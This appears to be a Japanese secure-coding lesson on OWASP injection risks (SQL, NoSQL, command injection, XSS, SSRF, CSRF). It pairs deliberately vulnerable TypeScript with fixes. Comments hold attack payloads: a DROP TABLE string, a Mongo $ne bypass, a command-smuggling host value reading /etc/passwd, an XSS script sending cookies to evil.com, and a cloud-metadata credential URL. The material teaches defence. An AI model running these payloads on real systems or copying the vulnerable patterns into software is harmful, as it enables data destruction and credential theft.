ストーリー
佐藤CTOがOWASP Top 10のリストを広げました。
インジェクション攻撃
SQLインジェクション
// 脆弱なコード: 文字列連結によるSQL構築
async function searchProducts(query: string): Promise<Product[]> {
// 危険: ユーザー入力を直接SQL文に挿入
const sql = `SELECT * FROM products WHERE name LIKE '%${query}%'`;
return db.query(sql);
// 攻撃例: query = "'; DROP TABLE products; --"
}
// 安全なコード: パラメータ化クエリ
async function searchProducts(query: string): Promise<Product[]> {
const sql = 'SELECT * FROM products WHERE name LIKE $1';
return db.query(sql, [`%${query}%`]);
}
// さらに安全: ORMの使用
async function searchProducts(query: string): Promise<Product[]> {
return prisma.product.findMany({
where: {
name: { contains: query, mode: 'insensitive' },
},
});
}
NoSQLインジェクション
// 脆弱なコード: MongoDBのクエリインジェクション
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
// 危険: オブジェクトがそのまま渡される
const user = await db.collection('users').findOne({
username: username,
password: password, // { "$ne": "" } で全ユーザーにマッチ
});
});
// 安全なコード: 入力の型検証
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
// 文字列型を強制
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
const user = await db.collection('users').findOne({
username: username,
password: hashPassword(password),
});
});
コマンドインジェクション
// 脆弱なコード
app.get('/api/ping', (req, res) => {
const host = req.query.host;
// 危険: シェルコマンドにユーザー入力を直接挿入
exec(`ping -c 4 ${host}`, (error, stdout) => {
res.send(stdout);
});
// 攻撃例: host = "example.com; cat /etc/passwd"
});
// 安全なコード: execFileで引数を分離
import { execFile } from 'child_process';
app.get('/api/ping', (req, res) => {
const host = req.query.host as string;
// バリデーション: ホスト名の形式チェック
if (!/^[a-zA-Z0-9.-]+$/.test(host)) {
return res.status(400).json({ error: 'Invalid hostname' });
}
// execFile: シェルを介さず直接実行
execFile('ping', ['-c', '4', host], (error, stdout) => {
res.send(stdout);
});
});
XSS(Cross-Site Scripting)
XSSの3種類
| 種類 | 説明 | 持続性 |
|---|---|---|
| Reflected XSS | URLパラメータ経由で反射 | 一時的 |
| Stored XSS | DBに保存され他ユーザーに表示 | 永続的 |
| DOM-based XSS | クライアントサイドJSで発生 | 一時的 |
// Stored XSS の脆弱なコード
app.post('/api/comments', async (req, res) => {
// 危険: サニタイズなしでDB保存
await db.comment.create({ data: { content: req.body.content } });
});
app.get('/api/comments', async (req, res) => {
const comments = await db.comment.findMany();
// テンプレートでHTMLとして出力される
// 攻撃例: content = "<script>document.location='https://evil.com/?c='+document.cookie</script>"
});
// 安全なコード: サニタイズ + CSP
import DOMPurify from 'isomorphic-dompurify';
import { z } from 'zod';
const commentSchema = z.object({
content: z.string().max(5000),
});
app.post('/api/comments', async (req, res) => {
const parsed = commentSchema.parse(req.body);
// HTMLサニタイズ
const sanitizedContent = DOMPurify.sanitize(parsed.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
});
await db.comment.create({ data: { content: sanitizedContent } });
});
// CSPヘッダーの設定(多層防御)
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // インラインスクリプト禁止
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:'],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"], // クリックジャッキング防止
baseUri: ["'self'"],
formAction: ["'self'"],
},
}));
SSRF(Server-Side Request Forgery)
SSRFは、サーバーに意図しないリクエストを発行させ、内部リソースにアクセスする攻撃です。
// 脆弱なコード: URLを制限なくフェッチ
app.post('/api/fetch-url', async (req, res) => {
const { url } = req.body;
// 危険: 内部リソース(メタデータサービス等)にアクセス可能
const response = await fetch(url);
const data = await response.text();
res.send(data);
// 攻撃例: url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
// → AWS IAMロールの認証情報が漏洩
});
// 安全なコード: URLの検証
import { URL } from 'url';
import dns from 'dns/promises';
async function isAllowedUrl(urlString: string): Promise<boolean> {
try {
const url = new URL(urlString);
// プロトコル制限
if (!['http:', 'https:'].includes(url.protocol)) {
return false;
}
// 内部IP範囲の拒否
const addresses = await dns.resolve4(url.hostname);
for (const addr of addresses) {
if (isPrivateIp(addr)) {
return false;
}
}
// 許可リスト方式
const allowedDomains = ['api.example.com', 'cdn.example.com'];
if (!allowedDomains.some(d => url.hostname.endsWith(d))) {
return false;
}
return true;
} catch {
return false;
}
}
function isPrivateIp(ip: string): boolean {
const parts = ip.split('.').map(Number);
return (
parts[0] === 10 || // 10.0.0.0/8
(parts[0] === 172 && parts[1] >= 16 && parts[1] <= 31) || // 172.16.0.0/12
(parts[0] === 192 && parts[1] === 168) || // 192.168.0.0/16
(parts[0] === 169 && parts[1] === 254) || // 169.254.0.0/16 (メタデータ)
parts[0] === 127 // 127.0.0.0/8
);
}
app.post('/api/fetch-url', async (req, res) => {
const { url } = req.body;
if (!(await isAllowedUrl(url))) {
return res.status(400).json({ error: 'URL not allowed' });
}
const response = await fetch(url, {
redirect: 'manual', // リダイレクトを追跡しない
signal: AbortSignal.timeout(5000), // タイムアウト
});
const data = await response.text();
res.send(data);
});
CSRF(Cross-Site Request Forgery)
// CSRFトークンによる防御
import crypto from 'crypto';
// CSRFトークンの生成
function generateCsrfToken(sessionId: string): string {
return crypto
.createHmac('sha256', CSRF_SECRET)
.update(sessionId)
.digest('hex');
}
// CSRFミドルウェア
function csrfProtection(req: Request, res: Response, next: NextFunction): void {
// GETリクエストはスキップ
if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next();
}
const token = req.headers['x-csrf-token'] as string;
const expected = generateCsrfToken(req.session.id);
if (!token || token !== expected) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
}
// SameSite Cookie設定(追加の防御層)
app.use(session({
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict', // クロスサイトリクエストでCookieを送信しない
maxAge: 3600000,
},
}));
入力検証の包括的アプローチ
// Zodによる厳格な入力検証
import { z } from 'zod';
const createUserSchema = z.object({
name: z.string().min(1).max(100).regex(/^[a-zA-Z\u3040-\u309F\u30A0-\u30FF\u4E00-\u9FFF\s]+$/),
email: z.string().email().max(255),
age: z.number().int().min(0).max(150),
role: z.enum(['user', 'admin']),
website: z.string().url().optional(),
}).strict(); // 未定義のフィールドを拒否
app.post('/api/users', async (req, res) => {
const result = createUserSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: 'Validation failed',
details: result.error.issues,
});
}
// result.data は型安全で検証済み
const user = await userService.create(result.data);
res.status(201).json(user);
});
まとめ
| ポイント | 内容 |
|---|---|
| SQLインジェクション | パラメータ化クエリまたはORMを使用 |
| XSS | 出力エスケープ、DOMPurify、CSPヘッダー |
| SSRF | URL検証、内部IPブロック、許可リスト方式 |
| CSRF | CSRFトークン、SameSite Cookie、Origin検証 |
| 入力検証 | Zodによる厳格なスキーマ検証 |
チェックリスト
- SQLインジェクションの攻撃メカニズムと防御方法を説明できる
- XSSの3種類と各防御策を実装できる
- SSRFの危険性とURL検証の実装方法を理解した
- CSRF防御をCookieとトークンで実装できる
- Zodを使った包括的な入力検証を設計できる
次のステップへ
次は「ペネトレーションテストの基礎」を学びます。攻撃者の視点でシステムの脆弱性を発見する方法論とツールを身につけましょう。
推定読了時間: 40分